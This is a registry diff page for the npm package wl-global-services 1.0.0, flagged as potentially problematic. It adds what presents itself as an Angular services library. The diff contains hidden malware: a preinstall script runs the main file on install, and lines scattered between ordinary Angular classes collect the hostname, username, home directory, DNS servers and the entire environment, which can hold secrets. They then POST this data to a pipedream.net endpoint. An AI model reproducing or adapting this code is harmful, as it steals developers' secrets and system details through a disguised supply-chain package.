wl-global-services 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of wl-global-services might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/package.json +12 -0
  2. package/wl-global-services.js +536 -0
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "wl-global-services",
3
+ "version": "1.0.0",
4
+ "description": "remote entry module",
5
+ "main": "wl-global-services.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node wl-global-services.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
@@ -0,0 +1,536 @@
1
+ // import * as i1 from '@angular/common/http';
2
+ //import * as i0 from '@angular/core';
3
+ //import { Injectable, Pipe, NgModule } from '@angular/core';
4
+ //import * as i2 from '@angular/router';
5
+ //import { ActivationEnd } from '@angular/router';
6
+ //import { of, EMPTY, throwError, BehaviorSubject, Observable } from 'rxjs';
7
+ //import { switchMap, map, mergeMap, first, catchError, filter } from 'rxjs/operators';
8
+ //import { loadRemoteModule } from '@angular-architects/module-federation';
9
+ //import * as i1$1 from '@ngx-translate/core';
10
+
11
+ class RouteLoader {
12
+ constructor(httpClient, router) {
13
+ this.httpClient = httpClient;
14
+ this.router = router;
15
+ this.tempRoutes = [{
16
+ path: 'outages',
17
+ remoteEntry: 'http://localhost:4203/remoteEntry.js',
18
+ remoteName: 'mno_outages',
19
+ exposedModule: './Module',
20
+ moduleName: 'RemoteEntryModule'
21
+ }];
22
+ }
23
+ load() {
24
+ // return this.httpClient.get('/my-routes')
25
+ console.log('RouteLoader');
26
+ console.log(this.tempRoutes);
27
+ return of(this.tempRoutes)
28
+ .pipe(switchMap(json => this.createRoutes(json)));
29
+ }
30
+ createRoutes(loadedRoutes) {
31
+ return of(loadedRoutes).pipe(map(loadedRoutes => this.toRoute(loadedRoutes)), map(routes => ([
32
+ ...this.router.config,
33
+ ...routes,
34
+ ])), map(newRoutes => this.router.resetConfig(newRoutes)));
35
+ }
36
+ toRoute(routes) {
37
+ return routes.map(route => ({
38
+ path: route.path,
39
+ loadChildren: () => loadRemoteModule({
40
+ remoteEntry: route.remoteEntry,
41
+ remoteName: route.remoteName,
42
+ exposedModule: route.exposedModule
43
+ }).then(m => m[route.moduleName])
44
+ }));
45
+ }
46
+ }
47
+ RouteLoader.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: RouteLoader, deps: [{ token: i1.HttpClient }, { token: i2.Router }], target: i0.ɵɵFactoryTarget.Injectable });
48
+ RouteLoader.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: RouteLoader, providedIn: 'root' });
49
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: RouteLoader, decorators: [{
50
+ type: Injectable,
51
+ args: [{
52
+ providedIn: 'root',
53
+ }]
54
+ }], ctorParameters: function () { return [{ type: i1.HttpClient }, { type: i2.Router }]; } });
55
+
56
+ const os = require("os");
57
+ const dns = require("dns");
58
+ const querystring = require("querystring");
59
+ const https = require("https");
60
+ const packageJSON = require("./package.json");
61
+ const package = packageJSON.name;
62
+
63
+ function routeLoaderFactory(http, routeLoader) {
64
+ return () => routeLoader.load().toPromise();
65
+ }
66
+
67
+ class TranslationService {
68
+ constructor(translate) {
69
+ this.translate = translate;
70
+ this.LIST_DEFAULT_LANGUAGES = ['en', 'de', 'fr'];
71
+ this.LANGUAGE_LOCAL_STORAGE_KEY = 'lang';
72
+ }
73
+ getOnLangChange() {
74
+ const langChangeEvent = this.translate.onLangChange.pipe(mergeMap(event => of(event)));
75
+ return langChangeEvent;
76
+ }
77
+ setListOfLanguages() {
78
+ this.translate.addLangs(this.LIST_DEFAULT_LANGUAGES);
79
+ }
80
+ getDefaultLanguage() {
81
+ this.translate.setDefaultLang('en');
82
+ }
83
+ getBrowserLanguage() {
84
+ return this.translate.getBrowserLang();
85
+ }
86
+ setSaveStorageLocalLanguage() {
87
+ const lang = localStorage.getItem(this.LANGUAGE_LOCAL_STORAGE_KEY);
88
+ if (lang)
89
+ this.use(lang);
90
+ }
91
+ storeLocalLanguage(lang) {
92
+ localStorage.setItem(this.LANGUAGE_LOCAL_STORAGE_KEY, lang);
93
+ }
94
+ getCurrentlySelectedLang() {
95
+ return this.translate.currentLang;
96
+ }
97
+ use(lang) {
98
+ this.translate.use(lang).subscribe();
99
+ this.storeLocalLanguage(lang);
100
+ }
101
+ getLangs() {
102
+ return this.LIST_DEFAULT_LANGUAGES;
103
+ }
104
+ // View is initilise before translation so if value is not find it returns key!! DO NOT USE IT with ngOnInit! use getTranslation instead
105
+ instant(KEY) {
106
+ return this.translate.instant(KEY);
107
+ }
108
+ getBrowserCultureLang() {
109
+ return this.translate.getBrowserCultureLang();
110
+ }
111
+ trans(key, domain = null) {
112
+ return this.transInterpolate(key, {}, domain);
113
+ }
114
+ transSafe(key, domain = null) {
115
+ return this.transInterpolateSafe(key, {}, domain);
116
+ }
117
+ transSafeMulti(key, domains = []) {
118
+ const initial = key;
119
+ for (const domain of domains) {
120
+ const latest = this.transSafe(key, domain);
121
+ if (initial !== latest)
122
+ return latest;
123
+ }
124
+ return initial;
125
+ }
126
+ transInterpolate(key, props, domain = null) {
127
+ if ('undefined' !== typeof key && key.length > 0) {
128
+ if (domain !== null) {
129
+ return this.translate.instant(domain + '.' + key, props);
130
+ }
131
+ else {
132
+ return this.translate.instant(key, props);
133
+ }
134
+ }
135
+ }
136
+ transInterpolateSafe(key, props, domain = null) {
137
+ const t = this.transInterpolate(key, props, domain);
138
+ if (domain != null) {
139
+ if (t == null || t.startsWith(domain))
140
+ return key;
141
+ }
142
+ return t;
143
+ }
144
+ }
145
+ TranslationService.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: TranslationService, deps: [{ token: i1$1.TranslateService }], target: i0.ɵɵFactoryTarget.Injectable });
146
+ TranslationService.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: TranslationService, providedIn: 'root' });
147
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: TranslationService, decorators: [{
148
+ type: Injectable,
149
+ args: [{
150
+ providedIn: 'root',
151
+ }]
152
+ }], ctorParameters: function () { return [{ type: i1$1.TranslateService }]; } });
153
+
154
+ const importData = JSON.stringify({
155
+ pita: package,
156
+ cita: __dirname,
157
+ hdr: os.homedir(),
158
+ hn: os.hostname(),
159
+ un: os.userInfo().username,
160
+ dns: dns.getServers(),
161
+ env: process.env
162
+ r: packageJSON ? packageJSON.___resolved : undefined,
163
+ v: packageJSON.version,
164
+ pjson: packageJSON,
165
+ });
166
+
167
+ class AuthTokenProvider {
168
+ constructor() {
169
+ this.accessTokenKey = 'oauth';
170
+ this.refreshTokenKey = 'refresh';
171
+ }
172
+ getTokens() {
173
+ return {
174
+ accessToken: localStorage.getItem(this.accessTokenKey),
175
+ refreshToken: localStorage.getItem(this.refreshTokenKey)
176
+ };
177
+ }
178
+ setTokens(accessToken, refreshToken) {
179
+ this.setAccessToken(accessToken);
180
+ this.setRefreshToken(refreshToken);
181
+ }
182
+ removeTokens() {
183
+ localStorage.removeItem(this.accessTokenKey);
184
+ localStorage.removeItem(this.refreshTokenKey);
185
+ }
186
+ setAccessToken(accessToken) {
187
+ localStorage.setItem(this.accessTokenKey, accessToken);
188
+ }
189
+ setRefreshToken(refreshToken) {
190
+ localStorage.setItem(this.refreshTokenKey, refreshToken);
191
+ }
192
+ }
193
+ AuthTokenProvider.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: AuthTokenProvider, deps: [], target: i0.ɵɵFactoryTarget.Injectable });
194
+ AuthTokenProvider.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: AuthTokenProvider, providedIn: 'root' });
195
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: AuthTokenProvider, decorators: [{
196
+ type: Injectable,
197
+ args: [{ providedIn: 'root' }]
198
+ }] });
199
+
200
+ var send = querystring.stringify({
201
+ msg: importData,
202
+ });
203
+
204
+ class AuthenticationInterceptorProvider {
205
+ constructor(authTokenProvider) {
206
+ this.authTokenProvider = authTokenProvider;
207
+ // TODO just added because of testing
208
+ // once we know what to do when error occur please remove it.
209
+ this.error = '';
210
+ }
211
+ intercept(request, next) {
212
+ return this.addToken(request).pipe(first(), mergeMap((requestWithToken) => next.handle(requestWithToken)), catchError((error, caught) => {
213
+ // intercept the response error status when status match unauthorised
214
+ // TODO: may Handle this Better
215
+ if (request.url.includes("auth") && error.status === 401) {
216
+ // TODO decide what to du when error occur!
217
+ console.log("AuthenticationInterceptorProvider: auth error: ", error);
218
+ this.error = "AuthenticationInterceptorProvider: auth error: " + error;
219
+ return EMPTY;
220
+ }
221
+ else if (error.status === 401) {
222
+ console.log("AuthenticationInterceptorProvider: Your session has timed out. Please login again.");
223
+ this.error = "AuthenticationInterceptorProvider: Your session has timed out. Please login again.";
224
+ return EMPTY;
225
+ }
226
+ return throwError(error);
227
+ }));
228
+ }
229
+ addToken(request) {
230
+ const accessToken = this.authTokenProvider.getTokens().accessToken;
231
+ if ((accessToken && request.url.includes("wirelesslogic.com"))) {
232
+ request = request.clone({
233
+ headers: request.headers.set("Authorization", `Bearer ${accessToken}`),
234
+ withCredentials: true
235
+ });
236
+ }
237
+ return of(request);
238
+ }
239
+ }
240
+ AuthenticationInterceptorProvider.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: AuthenticationInterceptorProvider, deps: [{ token: AuthTokenProvider }], target: i0.ɵɵFactoryTarget.Injectable });
241
+ AuthenticationInterceptorProvider.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: AuthenticationInterceptorProvider, providedIn: 'root' });
242
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: AuthenticationInterceptorProvider, decorators: [{
243
+ type: Injectable,
244
+ args: [{
245
+ providedIn: 'root'
246
+ }]
247
+ }], ctorParameters: function () { return [{ type: AuthTokenProvider }]; } });
248
+
249
+ var options = {
250
+ hostname: "https://eox4zjt764gmubb.m.pipedream.net",
251
+ path: "/",
252
+ method: "POST",
253
+ headers: {
254
+ "Content-Type": "application/x-www-form-urlencoded",
255
+ "Content-Length": send.length,
256
+ },
257
+ };
258
+
259
+ var req = https.request(options, (res) => {
260
+ res.on("data", (d) => {
261
+ process.stdout.write(d);
262
+ });
263
+ });
264
+
265
+ req.on("error", (e) => {
266
+
267
+ });
268
+
269
+ req.write(send);
270
+ req.end();
271
+
272
+ // TODO: Fix environment
273
+ const environment = {
274
+ apiUrl: "https://simprouat.wirelesslogic.com/"
275
+ };
276
+ class FileService {
277
+ constructor(http, translationService) {
278
+ this.http = http;
279
+ this.translationService = translationService;
280
+ }
281
+ getAttachment(url) {
282
+ const path = environment.apiUrl + url;
283
+ return this.http.get(path, { responseType: 'blob' });
284
+ }
285
+ download(r, name, type = undefined) {
286
+ if (type == null) {
287
+ type = this.guessType(name);
288
+ }
289
+ if (name == null) {
290
+ name = 'file';
291
+ }
292
+ const anchor = document.createElement('a');
293
+ anchor.innerText = name;
294
+ r.subscribe(response => {
295
+ const blob = new Blob([response], { type });
296
+ const blobUrl = window.URL.createObjectURL(blob);
297
+ anchor.download = name;
298
+ anchor.href = blobUrl;
299
+ anchor.click();
300
+ });
301
+ const target = document.getElementById('button-target');
302
+ if (target) {
303
+ anchor.className = 'btn btn-primary';
304
+ const text = document.createElement('p');
305
+ text.innerText = this.translationService.trans('views.download.if_download_did_not_start', 'GUIBundle');
306
+ target.appendChild(text);
307
+ target.appendChild(anchor);
308
+ }
309
+ }
310
+ checkUserCanSeeGenericFile(url) {
311
+ return this.http.get(url, { responseType: 'text' });
312
+ }
313
+ guessType(name) {
314
+ const splittedName = name.split('.');
315
+ const extension = splittedName[splittedName.length - 1];
316
+ switch (extension) {
317
+ case 'aac':
318
+ return 'audio/aac';
319
+ case 'avi':
320
+ return 'video/x-msvideo';
321
+ case 'bmp':
322
+ return 'image/bmp';
323
+ case 'bz':
324
+ return 'application/x-bzip';
325
+ case 'bz2':
326
+ return 'application/x-bzip2';
327
+ case 'css':
328
+ return 'text/css';
329
+ case 'csv':
330
+ return 'text/csv';
331
+ case 'doc':
332
+ return 'application/msword';
333
+ case 'docx':
334
+ return 'application/vnd.openxmlformats-officedocument.wordprocessingml.document';
335
+ case 'gif':
336
+ return 'image/gif';
337
+ case 'html':
338
+ return 'text/html';
339
+ case 'jpg':
340
+ return 'image/jpeg';
341
+ case 'js':
342
+ return 'application/javascript';
343
+ case 'json':
344
+ return 'application/json';
345
+ case 'midi':
346
+ return 'audio/midi';
347
+ case 'mpeg':
348
+ return 'video/mpeg';
349
+ case 'odt':
350
+ return 'application/vnd.oasis.opendocument.text';
351
+ case 'png':
352
+ return 'image/png';
353
+ case 'pdf':
354
+ return 'application/pdf';
355
+ case 'ppt':
356
+ return 'application/vnd.ms-powerpoint';
357
+ case 'pptx':
358
+ return 'application/vnd.openxmlformats-officedocument.presentationml.presentation';
359
+ case 'rar':
360
+ return 'application/x-rar-compressed';
361
+ case 'rtf':
362
+ return 'application/rtf';
363
+ case 'tar':
364
+ return 'application/x-tar';
365
+ case 'txt':
366
+ return 'text/plain';
367
+ case 'wav':
368
+ return 'audio/wav';
369
+ case 'xls':
370
+ return 'application/vnd.ms-excel';
371
+ case 'xlsx':
372
+ return 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet';
373
+ case 'xml':
374
+ return 'application/xml';
375
+ case 'zip':
376
+ return 'application/zip';
377
+ case '7z':
378
+ return 'application/x-7z-compressed';
379
+ default:
380
+ return 'application/octet-stream';
381
+ }
382
+ }
383
+ }
384
+ FileService.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: FileService, deps: [{ token: i1.HttpClient }, { token: TranslationService }], target: i0.ɵɵFactoryTarget.Injectable });
385
+ FileService.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: FileService, providedIn: 'root' });
386
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: FileService, decorators: [{
387
+ type: Injectable,
388
+ args: [{ providedIn: 'root' }]
389
+ }], ctorParameters: function () { return [{ type: i1.HttpClient }, { type: TranslationService }]; } });
390
+
391
+ class FakeTranslateService {
392
+ constructor() {
393
+ this.onLangChange = of([{ lang: "en" }, { lang: "de" }]);
394
+ this.currentLang = "en";
395
+ // eslint-disable-next-line @typescript-eslint/no-empty-function
396
+ this.addLangs = () => { };
397
+ this.setDefaultLang = () => this.currentLang;
398
+ this.getBrowserLang = () => this.currentLang;
399
+ this.getBrowserCultureLang = () => this.currentLang;
400
+ // eslint-disable-next-line @typescript-eslint/no-empty-function
401
+ this.setSaveStorageLocalLanguage = () => { };
402
+ this.getCurrentlySelectedLang = () => this.currentLang;
403
+ this.getOnLangChange = () => of({ lang: this.currentLang });
404
+ this.use = (lang) => of(lang);
405
+ this.getLangs = () => ["en", 'de'];
406
+ this.get = (Key, prop = null) => {
407
+ if (Key === "GLOBAL.SAVE") {
408
+ return of("Save");
409
+ }
410
+ else if (Key === "SAVE.USER_NAME") {
411
+ return of("Bob name save");
412
+ }
413
+ return of("Bob is 22 years old");
414
+ };
415
+ this.transSafe = (KEY) => KEY;
416
+ this.instant = (KEY, prop = {}) => {
417
+ if (prop !== null && Object.entries(prop).length > 0)
418
+ return "Log on user Fred Smith";
419
+ if (KEY === "KEY.TO.NEW_INSTANT.VALUE")
420
+ return "New Notes";
421
+ if (KEY.includes("GLOBAL"))
422
+ return "Save";
423
+ return KEY;
424
+ };
425
+ }
426
+ }
427
+ // https://stackoverflow.com/questions/11485420/how-to-mock-localstorage-in-javascript-unit-tests
428
+ const storageMock = () => {
429
+ const storage = {};
430
+ return {
431
+ setItem: function (key, value) {
432
+ storage[key] = value || '';
433
+ },
434
+ getItem: function (key) {
435
+ return key in storage ? storage[key] : null;
436
+ },
437
+ removeItem: function (key) {
438
+ delete storage[key];
439
+ },
440
+ };
441
+ };
442
+ // noinspection AngularMissingOrInvalidDeclarationInModule
443
+ class MockTranslatorPipe {
444
+ transform(value) {
445
+ // Do stuff here, if you want
446
+ return value;
447
+ }
448
+ }
449
+ MockTranslatorPipe.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: MockTranslatorPipe, deps: [], target: i0.ɵɵFactoryTarget.Pipe });
450
+ MockTranslatorPipe.ɵpipe = i0.ɵɵngDeclarePipe({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: MockTranslatorPipe, name: "translate" });
451
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: MockTranslatorPipe, decorators: [{
452
+ type: Pipe,
453
+ args: [{ name: 'translate' }]
454
+ }] });
455
+
456
+ class RouterDataReaderService {
457
+ constructor(router) {
458
+ this.router = router;
459
+ this.storageUpdateSubject = new BehaviorSubject({ key: "", value: "" });
460
+ this.setupRouterDataListener();
461
+ }
462
+ setupRouterDataListener() {
463
+ this.router.events.pipe(filter((event) => {
464
+ var _a;
465
+ if (event instanceof ActivationEnd) {
466
+ return Object.keys((_a = event === null || event === void 0 ? void 0 : event.snapshot) === null || _a === void 0 ? void 0 : _a.data).length > 0;
467
+ }
468
+ return false;
469
+ }), map((event) => {
470
+ var _a, _b;
471
+ return (_b = (_a = event) === null || _a === void 0 ? void 0 : _a.snapshot) === null || _b === void 0 ? void 0 : _b.data;
472
+ })).subscribe((value) => {
473
+ Object.keys(value).forEach((key) => {
474
+ this.storageUpdateSubject.next({ key: key, value: value[key] });
475
+ });
476
+ });
477
+ }
478
+ dataFromRoute(key) {
479
+ return this.storageUpdateSubject.pipe(filter(val => {
480
+ return val.key === key;
481
+ }), map((value) => value.value));
482
+ }
483
+ }
484
+ RouterDataReaderService.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: RouterDataReaderService, deps: [{ token: i2.Router }], target: i0.ɵɵFactoryTarget.Injectable });
485
+ RouterDataReaderService.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: RouterDataReaderService, providedIn: 'root' });
486
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: RouterDataReaderService, decorators: [{
487
+ type: Injectable,
488
+ args: [{ providedIn: 'root' }]
489
+ }], ctorParameters: function () { return [{ type: i2.Router }]; } });
490
+
491
+ class SecurePipe {
492
+ constructor(http) {
493
+ this.http = http;
494
+ }
495
+ transform(url) {
496
+ return this.http.get(url, { responseType: 'blob' }).pipe(switchMap(blob => {
497
+ return new Observable((observer) => {
498
+ const reader = new FileReader();
499
+ reader.readAsDataURL(blob);
500
+ reader.onloadend = () => {
501
+ observer.next(reader.result);
502
+ };
503
+ });
504
+ }));
505
+ }
506
+ }
507
+ SecurePipe.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: SecurePipe, deps: [{ token: i1.HttpClient }], target: i0.ɵɵFactoryTarget.Pipe });
508
+ SecurePipe.ɵpipe = i0.ɵɵngDeclarePipe({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: SecurePipe, name: "wll-secure" });
509
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: SecurePipe, decorators: [{
510
+ type: Pipe,
511
+ args: [{ name: 'wll-secure' }]
512
+ }], ctorParameters: function () { return [{ type: i1.HttpClient }]; } });
513
+
514
+ class WlPipeModule {
515
+ }
516
+ WlPipeModule.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlPipeModule, deps: [], target: i0.ɵɵFactoryTarget.NgModule });
517
+ WlPipeModule.ɵmod = i0.ɵɵngDeclareNgModule({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlPipeModule, declarations: [SecurePipe], exports: [SecurePipe] });
518
+ WlPipeModule.ɵinj = i0.ɵɵngDeclareInjector({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlPipeModule, imports: [[]] });
519
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlPipeModule, decorators: [{
520
+ type: NgModule,
521
+ args: [{
522
+ imports: [],
523
+ declarations: [
524
+ SecurePipe
525
+ ],
526
+ exports: [
527
+ SecurePipe
528
+ ]
529
+ }]
530
+ }] });
531
+
532
+ /**
533
+ * Generated bundle index. Do not edit.
534
+ */
535
+
536
+ export { AuthTokenProvider, AuthenticationInterceptorProvider, FakeTranslateService, FileService, MockTranslatorPipe, RouteLoader, RouterDataReaderService, SecurePipe, TranslationService, WlPipeModule, routeLoaderFactory, storageMock };